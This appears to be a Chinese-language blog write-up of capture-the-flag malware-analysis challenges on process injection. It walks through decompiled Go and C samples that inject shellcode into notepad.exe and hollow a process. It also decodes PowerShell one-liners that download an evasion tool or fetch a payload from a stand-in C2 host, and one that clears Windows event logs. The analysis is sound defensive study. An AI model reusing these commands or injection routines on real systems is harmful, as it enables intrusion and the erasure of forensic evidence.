網路上其他的都沒有很深入分析每隻惡意程式的原理,所以想分享我的分析與解題步驟
Reverse Engineering - Another Injection
這題是用Golang寫的 
// main.main
void __fastcall main_main()
{
int v0; // [rsp+10h] [rbp-60h]
_746_uint8 *p__746_uint8; // [rsp+50h] [rbp-20h]
__int64 v2[2]; // [rsp+58h] [rbp-18h] BYREF
p__746_uint8 = (_746_uint8 *)runtime_newobject((__int64)&RTYPE__746_uint8);
*(_QWORD *)p__746_uint8 = 0x896000000082E8FCLL;
*(_QWORD *)&(*p__746_uint8)[8] = 0x8B30508B64C031E5LL;
((void (__fastcall *)(uint8 *, void *))loc_466D5C)(&(*p__746_uint8)[10], &unk_5046FA);
v2[0] = (__int64)&RTYPE_string;
v2[1] = (__int64)&stru_502058.gcdata;
fmt_Fprintln((__int64)&go_itab__os_File_io_Writer, os_Stdout, (__int64)v2, 1, 1);
while ( 1 )
{
main_getpid();
if ( v0 )
break;
time_Sleep(1000000000);
}
main_inject((__int64)p__746_uint8, 746, 746, v0);
}Q1: What is the language the program is written?
A1: golang
Q2: What is the build id?
PS C:\Users\user\CTF\BTLO\6f581df0caadc199d2e99fff84b0534ec52ae272\sample> go tool buildid .\main.exeA2: eck19EyXq_9c975RxNJ1/QkbhfvYWoTcAeJreFwhX/q3HwQW17YdD3iMlLFCzB/1ZpNy-9ah0QEvzlOTFcq
Q3: What is the dependency package the sample uses for invoking windows APIs
大部分都是用Go語言內的syscall,但是看到main_getpid:
// main.getpid
int main_getpid()
{
uint32 *p_uint32; // rax
__int64 *v1; // rcx
__int64 v2; // rdx
signed __int64 v3; // rdx
unsigned __int64 v4; // rcx
__int128 v5; // [rsp+8h] [rbp-88h]
int v6; // [rsp+34h] [rbp-5Ch]
__int64 v7; // [rsp+38h] [rbp-58h]
signed __int64 v8; // [rsp+40h] [rbp-50h]
unsigned __int64 v9; // [rsp+48h] [rbp-48h]
__int64 v10; // [rsp+50h] [rbp-40h]
__int64 v11; // [rsp+58h] [rbp-38h]
__int64 *v12; // [rsp+60h] [rbp-30h]
__int64 v13; // [rsp+68h] [rbp-28h]
uint32 *v14; // [rsp+70h] [rbp-20h]
_QWORD v15[2]; // [rsp+78h] [rbp-18h] BYREF
v15[0] = "notepad.exe";
v15[1] = 11;
v13 = runtime_makeslice((__int64)&RTYPE_uint32, 1000, 1000);
p_uint32 = (uint32 *)runtime_newobject((__int64)&RTYPE_uint32);
v14 = p_uint32;
v1 = v15;
v2 = 0;
while ( 1 )
{
v10 = v2;
v12 = v1;
v11 = *v1;
v7 = v1[1];
if ( github_com_TheTitanrain_w32_EnumProcesses(v13, 1000, 1000, 1000, (__int64)p_uint32) )
{
p_uint32 = v14;
v4 = (unsigned __int64)*v14 >> 2;
if ( v4 > 0x3E8 )
runtime_panicSliceAcap();
v9 = (unsigned __int64)*v14 >> 2;
v3 = 0;
while ( v3 < (__int64)v4 )
{
v8 = v3;
v6 = *(_DWORD *)(v13 + 4 * v3);
v5 = main_getprocname(v6);
if ( *((_QWORD *)&v5 + 1) == v7 && runtime_memequal(v5, v11, *((__int64 *)&v5 + 1)) )
return v6;
time_Sleep(15000000);
v3 = v8 + 1;
p_uint32 = v14;
v4 = v9;
}
}
else
{
p_uint32 = v14;
}
if ( v10 + 1 >= 1 )
break;
v2 = v10 + 1;
v1 = v12 + 2;
}
return 0;
}可以看到用了github_com_TheTitanrain_w32_EnumProcesses
A3: github.com/TheTitanrain/w32
Q4 is the victim process? (Hint: 32bit)
要先理解這整支程式在幹嘛
在main_getpid()的地方,回傳notepad.exe的位址
再看到main_inject():
// main.inject
void __golang main_inject(uintptr a1, uintptr a2, __int64 a3, unsigned int a4)
{
//省略型態宣告...
DLL = syscall_LoadDLL((__int64)"kernel32.dll", 12);
if ( v12 )
{
v5 = *(_QWORD *)(v12 + 8);
goto LABEL_8;
}
v19 = DLL;
Proc = syscall__ptr_DLL_FindProc(DLL, (__int64)"OpenProcess", 11);
if ( v13 )
{
runtime_gopanic(*(_QWORD *)(v13 + 8));
LABEL_8:
runtime_gopanic(v5);
}
v18 = Proc;
v17 = syscall__ptr_DLL_FindProc(v19, (__int64)"VirtualAllocEx", 14);
v16 = syscall__ptr_DLL_FindProc(v19, (__int64)"WriteProcessMemory", 18);
v20 = syscall__ptr_DLL_FindProc(v19, (__int64)"CreateRemoteThread", 18);
v21 = syscall__ptr_DLL_FindProc(v19, (__int64)"CloseHandle", 11);
p__3_uintptr = (_3_uintptr *)runtime_newobject((__int64)&RTYPE__3_uintptr);
(*p__3_uintptr)[0] = 2035711;
(*p__3_uintptr)[1] = 0;
(*p__3_uintptr)[2] = a4;
v15 = syscall__ptr_Proc_Call(v18, (__int64)p__3_uintptr, 3, 3);
p__5_uintptr = (_5_uintptr *)runtime_newobject((__int64)&RTYPE__5_uintptr);
(*p__5_uintptr)[0] = v15;
(*p__5_uintptr)[1] = 0;
(*p__5_uintptr)[2] = a2;
(*p__5_uintptr)[3] = 4096;
(*p__5_uintptr)[4] = 64;
v14 = syscall__ptr_Proc_Call(v17, (__int64)p__5_uintptr, 5, 5);
if ( !a2 )
runtime_panicIndex();
v9 = (_5_uintptr *)runtime_newobject((__int64)&RTYPE__5_uintptr);
(*v9)[0] = v15;
(*v9)[1] = v14;
(*v9)[2] = a1;
(*v9)[3] = a2;
(*v9)[4] = 0;
syscall__ptr_Proc_Call(v16, (__int64)v9, 5, 5);
p__7_uintptr = (_7_uintptr *)runtime_newobject((__int64)&_uintpt::RTYPE);
(*p__7_uintptr)[0] = v15;
*(_OWORD *)&(*p__7_uintptr)[1] = 0;
(*p__7_uintptr)[3] = v14;
*(_OWORD *)&(*p__7_uintptr)[4] = 0;
(*p__7_uintptr)[6] = 0;
syscall__ptr_Proc_Call(v20, (__int64)p__7_uintptr, 7, 7);
p__1_uintptr = (_1_uintptr *)runtime_newobject((__int64)&RTYPE__1_uintptr);
(*p__1_uintptr)[0] = v15;
syscall__ptr_Proc_Call(v21, (__int64)p__1_uintptr, 1, 1);
}先用OpenProcess取得剛剛getpid回傳地址的HANDLE hProcess
再用VirtualAllocEx配置一段記憶體,把shellcode寫進去,最後用CreateRemoteThread開一條thread執行shellcode
A4: notepad.exe
Q5: What is the process invoked from the shellcode?
翻shellcode,可以找到
powershell -ep bypass -W hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGgAbABsAGQAegAvAEkAbgB2AG8AawBlAC0AUABoAGEAbgB0ADAAbQAvAG0AYQBzAHQAZQByAC8ASQBuAHYAbwBrAGUALQBQAGgAYQBuAHQAMABtAC4AcABzADEAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABjAGgAYQBuAGcAZQAuAHAAcwAxACIAOwAgAEkAbQBwAG8AcgB0AC0ATQBvAGQAdQBsAGUAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcAGMAaABhAG4AZwBlAC4AcABzADEAOwBJAG4AdgBvAGsAZQAtAFAAaABhAG4AdAAwAG0AOwA=A5: powershell
Q6: What is the name of the created file?
把上面那串拿去base64 UTF-16LE decode:
Invoke-WebRequest "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/master/Invoke-Phant0m.ps1" -OutFile "C:\Windows\Temp\change.ps1"; Import-Module C:\Windows\Temp\change.ps1;Invoke-Phant0m;A6: C:\Windows\Temp\change.ps1
Q7: What is the name of the actual tool executed?
A7: Invoke-Phant0m
Injection Series Part 3
先逆一下main():
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
HANDLE EventW; // edi
void *v5; // esi
struct _TP_WAIT *ThreadpoolWait; // eax
int v8; // eax
v3 = strcmp(argv[1], "message");
if ( v3 )
v3 = v3 < 0 ? -1 : 1;
if ( v3 )
{
v8 = strcmp(argv[1], "killall");
if ( v8 )
v8 = v8 < 0 ? -1 : 1;
if ( !v8 )
system(
"powershell -ep bypass -enc QwBsAGUAYQByAC0ARQB2AGUAbgB0AEwAbwBnACAALQBMAG8AZwBuAGEAbQBlACAAYQBwAHAAbABpAGMAYQB0A"
"GkAbwBuACwAIgBXAGkAbgBkAG8AdwBzACAAUABvAHcAZQByAFMAaABlAGwAbAAiACwAcwBlAGMAdQByAGkAdAB5ACwAIgBzAHkAcwB0AGUAbQAiAA==");
return 0;
}
else
{
EventW = CreateEventW(0, 0, 1, 0);
v5 = VirtualAlloc(0, 0x120u, 0x1000u, 0x40u);
memmove(v5, &unk_403018, 0x120u);
ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v5, 0, 0);
SetThreadpoolWait(ThreadpoolWait, EventW, 0);
WaitForSingleObject(EventW, 0xFFFFFFFF);
return 0;
}
}Q1: How many arguments does the sample take?
main()只會用到argv
A1: 1
Q2: Again, what is the size of the shellcode? 😉
從第25行開始看:
EventW = CreateEventW(0, 0, 1, 0); //建一個event
v5 = VirtualAlloc(0, 0x120u, 0x1000u, 0x40u); //配置一塊記憶體
memmove(v5, &unk_403018, 0x120u); //把&unk_403018寫進去
ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v5, 0, 0); //把這段記憶體當作Thread Pool Wait Callback
SetThreadpoolWait(ThreadpoolWait, EventW, 0); //指定這個Wait Object要監聽哪個Event
WaitForSingleObject(EventW, 0xFFFFFFFF); //主執行緒等到永遠所以那段&unk_403018就是shellcode,寫入長度為0x120,十進制為288
A2: 288
Q3: In VirtualAlloc what does the flAllocationType value represents?
參考MS Learn對VirtualAlloc的定義:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);flAllocationType是第三個參數,在程式中傳入值為0x1000,對應到MEM_COMMIT 
A3: MEM_COMMIT
Q4: What is the argument required by the sample to run the shellcode?
第9行
A4: message
Q5: What is the payload in Metasploit that would have been used to generate the shellcode?
問chatGPT
A5: windows/messagebox
Q6: What is the API used to create a wait object? 第28行
A6: CreateThreadpoolWait
Q7 is the library function used to copy shellcode between memory blocks?
第27行
A7: memmove
Q8: What argument to the sample invokes powershell process?
第14行
A8: killall
Q9: After decoding the powershell, list the log names as in the order in the script
把powershell要執行的那段base64 UTF-16LE decode: Clear-EventLog -Logname application,"Windows PowerShell",security,"system"
A9: Application, Windows Powershell, Security, System
Injection Series Part 4
先逆一下main()的地方:
int __cdecl main(int argc, const char **argv, const char **envp)
{
//省略型態宣告...
v3 = (struct _STARTUPINFOA *)operator new(0x44u);
memset(v3, 0, sizeof(struct _STARTUPINFOA));
v33 = (struct _PROCESS_INFORMATION *)operator new(0x10u);
*v33 = 0;
v4 = operator new(0x18u);
*(_OWORD *)v4 = 0;
*((_QWORD *)v4 + 2) = 0;
ReturnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", 0, 0, 1, 4u, 0, 0, v3, v33);
v5 = v33->hProcess;
hProcess = v5;
NtQueryInformationProcess(v33->hProcess, ProcessBasicInformation, v4, 0x18u, &ReturnLength);
v6 = v4[1];
Buffer = 0;
NumberOfBytesRead = 0;
ReadProcessMemory(v5, (LPCVOID)(v6 + 8), &Buffer, 4u, &NumberOfBytesRead);
system(
"powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAd"
"AB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuA"
"GQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA=");
FileA = CreateFileA("C:\\windows\\temp\\exp.exe", 0x80000000, 0, 0, 4u, 0, 0);
FileSize = GetFileSize(FileA, 0);
ProcessHeap = GetProcessHeap();
lpBuffer = HeapAlloc(ProcessHeap, 8u, FileSize);
ReadFile(FileA, lpBuffer, FileSize, 0, 0);
v10 = lpBuffer;
v43 = (char *)lpBuffer + lpBuffer[15];
v11 = *((_DWORD *)v43 + 20);
ModuleHandleA = GetModuleHandleA("ntdll");
NtUnmapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, PVOID))GetProcAddress(ModuleHandleA, "NtUnmapViewOfSection");
NtUnmapViewOfSection(v5, Buffer);
v14 = (char *)VirtualAllocEx(v5, Buffer, v11, 0x3000u, 0x40u);
Buffer = v14;
v31 = *((_DWORD *)v43 + 21);
v38 = &v14[-*((_DWORD *)v43 + 13)];
*((_DWORD *)v43 + 13) = v14;
WriteProcessMemory(v5, v14, lpBuffer, v31, 0);
v41 = (char *)v10 + v10[15] + 248;
GetLastError();
v47 = 0;
v15 = *((_WORD *)v43 + 3);
if ( v15 )
{
v16 = v41 + 20;
do
{
WriteProcessMemory(v5, &Buffer[*(v16 - 2)], (char *)lpBuffer + *v16, *(v16 - 1), 0);
v16 += 10;
++v47;
}
while ( v47 < *((unsigned __int16 *)v43 + 3) );
v10 = lpBuffer;
v15 = *((_WORD *)v43 + 3);
}
v17 = 0;
v39 = 0;
v18 = *((_DWORD *)v43 + 41);
v34 = v18;
if ( v15 )
{
v19 = v41;
do
{
if ( *(_DWORD *)v19 == 1818587694 && v19[4] == 111 )
{
v20 = *((_DWORD *)v19 + 5);
v21 = 0;
v32 = v20;
if ( v18 )
{
do
{
v22 = v21 + v20;
v21 += 8;
v23 = (_DWORD *)((char *)v10 + v22);
v24 = (char *)v10 + v21 + v20;
v37 = v23;
v25 = 0;
v36 = v24;
v26 = (unsigned int)(v23[1] - 8) >> 1;
if ( v26 )
{
v35 = v21 + 2 * v26;
do
{
v27 = *(_WORD *)&v24[2 * v25];
if ( v27 >= 0x1000u )
{
v47 = 0;
v28 = *v23 + (v27 & 0xFFF);
ReadProcessMemory(hProcess, &Buffer[v28], &v47, 4u, &NumberOfBytesRead);
v47 += (int)v38;
WriteProcessMemory(hProcess, &Buffer[v28], &v47, 4u, 0);
GetLastError();
v23 = v37;
v24 = v36;
}
++v25;
}
while ( v25 < v26 );
v21 = v35;
}
v18 = v34;
v20 = v32;
v10 = lpBuffer;
}
while ( v21 < v34 );
v19 = v41;
v17 = v39;
}
}
else
{
v19 += 40;
v41 = v19;
}
++v17;
v10 = lpBuffer;
v39 = v17;
}
while ( v17 < *((unsigned __int16 *)v43 + 3) );
}
v29 = (CONTEXT *)operator new(0x2CCu);
memset(&v29->Dr0, 0, 0x2C8u);
v29->ContextFlags = 65538;
GetThreadContext(v33->hThread, v29);
v29->Eax = (DWORD)&Buffer[*((_DWORD *)v43 + 10)];
SetThreadContext(v33->hThread, v29);
ResumeThread(v33->hThread);
return 0;
}Q1: What is the process that would be first spawned by the sample? And what is the API used?
在第12行:
CreateProcessA(0, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", 0, 0, 1, 4u, 0, 0, v3, v33);A1: notepad.exe,CreateProcessA
Q2: The value 4 has been pushed as a parameter to this API, what does that denote?
同上題,CreateProcessA在第6個參數傳入4u,可以去MS learn看他的API document:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);可以看到第6個參數名稱是dwCreationFlags,再去看看對他的定義: 
A2: CREATE_SUSPENDED
Q3: What is the domain that the malware tries to connect?
找回第21行:
system(
"powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAd"
"AB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuA"
"GQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA=");把那串用base64 UTF-16LE decode: Invoke-WebRequest -Uri http://somec2.server/exp.exe -OutFile c:\\windows\\temp\\exp.exe
A3: somec2.server
Q4: What is the cmdlet used to download the file and what is the path of the file stored?
同上題的地方
A4: Invoke-WebRequest,c:\windows\temp\exp.exe
Q5: Just after the file download instructions, a function from ntdll has been loaded and invoked by the sample. What is the function name?
看到第32 ~ 34行:
ModuleHandleA = GetModuleHandleA("ntdll");
NtUnmapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, PVOID))GetProcAddress(ModuleHandleA, "NtUnmapViewOfSection");
NtUnmapViewOfSection(v5, Buffer);GetModuleHandleA()找出ntdll.dll的位置,再用GetProcAddress()從裡面找出NtUnmapViewOfSection()的位置然後轉型調用
A5: NtUnmapViewOfSection
Q6: After the allocation of memory and writing the date into the allocated memory. What are the 2 APIs used to update the entry point and resume the thread?
首先要先理解這支惡意程式大致上的原理:
- 先開一個notepad.exe
- 從C2下載
exp.exe,整個讀進lpBuffer - 用
NtUnmapViewOfSection()把原本notepad.exe的映像unmap掉,把exp.exe配置進去 - 把eax設定成新的entrypoint繼續跑
第4項就是題目在問的,可以看到第126行
A6: SetThreadContext,ResumeThread
Q7: What is the MITRE ID for this technique implemented in this sample?
我跑去問chatGPT,哈哈 
A7: T1055.012
